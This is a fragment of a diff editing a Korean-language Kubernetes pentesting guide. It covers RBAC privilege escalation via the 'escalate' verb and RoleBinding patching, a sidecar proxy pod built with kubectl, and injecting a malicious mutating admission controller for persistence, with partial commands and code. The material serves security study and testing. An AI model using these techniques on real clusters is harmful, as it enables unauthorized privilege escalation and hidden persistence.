수정하려는 역할의 범위와 일치해야 합니다: ClusterRoles의 경우 클러스터 전체에 대해, Roles의 경우 동일한 네임스페이스(또는 클러스터 전체)에 대해 제한됩니다. > [!WARNING] -> 이전 규칙에 대한 예외가 있습니다. 주체가 **`roles`** 또는 **`clusterroles`**에 대해 **`escalate`** 동사를 가지고 있다면, 그는 권한이 없더라도 역할과 클러스터 역할의 권한을 증가시킬 수 있습니다. +> 이전 규칙에 대한 예외가 있습니다. 주체가 **`roles`** 또는 **`clusterroles`**에 대해 **`escalate`** 동사를 가지고 있다면, 자신이 권한을 가지고 있지 않더라도 역할과 클러스터 역할의 권한을 증가시킬 수 있습니다. ### **RoleBindings/ClusterRoleBindings 가져오기 및 패치하기** > [!CAUTION] > **이 기술은 이전에 작동했지만, 내 테스트에 따르면 이전 섹션에서 설명한 동일한 이유로 더 이상 작동하지 않습니다. 이미 권한이 없는 경우 자신이나 다른 SA에게 권한을 부여하기 위해 rolebinding을 생성/수정할 수 없습니다.** -Rolebindings를 생성할 수 있는 권한은 사용자가 **역할을 서비스 계정에 바인딩**할 수 있게 합니다. 이 권한은 **사용자가 손상된 서비스 계정에 관리자 권한을 바인딩할 수 있게 하여 권한 상승으로 이어질 수 있습니다.** +Rolebindings를 생성할 수 있는 권한은 사용자가 **서비스 계정에 역할을 바인딩**할 수 있게 합니다. 이 권한은 **사용자가 손상된 서비스 계정에 관리자 권한을 바인딩할 수 있게 하여 권한 상승으로 이어질 수 있습니다.** ## 기타 공격 ### 사이드카 프록시 앱 -기본적으로 파드 간의 통신에는 암호화가 없습니다. 상호 인증, 양방향, 파드 간의 통신입니다. +기본적으로 파드 간의 통신에는 암호화가 없습니다. 상호 인증, 양방향, 파드 간. #### 사이드카 프록시 앱 생성 @@ -512,7 +575,7 @@ Rolebindings를 생성할 수 있는 권한은 사용자가 **역할을 서비 ```bash kubectl run app --image=bash --command -oyaml --dry-run=client > -- sh -c 'ping google.com' ``` -.your .yaml 파일을 수정하고 주석이 없는 줄을 추가하세요: +.yaml 파일을 편집하고 주석이 없는 줄을 추가하세요: ```yaml #apiVersion: v1 #kind: Pod @@ -554,7 +617,7 @@ kubectl logs app -C proxy Admission controller는 **객체의 지속화 이전에 Kubernetes API 서버에 대한 요청을 가로챕니다**, 하지만 **요청이 인증되고** **인가된 후에** 가로챕니다. -공격자가 어떻게든 **Mutationg Admission Controller를 주입**하는 데 성공한다면, 그는 **이미 인증된 요청을 수정**할 수 있게 됩니다. 이는 잠재적으로 권한 상승을 가능하게 하며, 더 일반적으로 클러스터에 지속적으로 남아있을 수 있습니다. +공격자가 어떻게든 **Mutationg Admission Controller를 주입**하는 데 성공한다면, 그는 **이미 인증된 요청을 수정**할 수 있게 됩니다. 이는 잠재적으로 권한 상승을 할 수 있으며, 더 일반적으로 클러스터에 지속적으로 남아 있을 수 있습니다. **예시 출처** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers): ```bash @@ -586,7 +649,7 @@ kubectl describe po nginx | grep "Image: " #### Technicalities -`./deploy.sh` 스크립트는 요청을 Kubernetes API에 수정하는 변형 웹후크 승인 컨트롤러를 설정하며, 이는 구성 라인에 지정된 대로 결과에 영향을 미칩니다: +`./deploy.sh` 스크립트는 변형 웹훅 승인 컨트롤러를 설정하며, 이는 구성 라인에 지정된 대로 Kubernetes API에 대한 요청을 수정하여 관찰된 결과에 영향을 미칩니다: ``` patches = append(patches, patchOperation{ Op: "replace",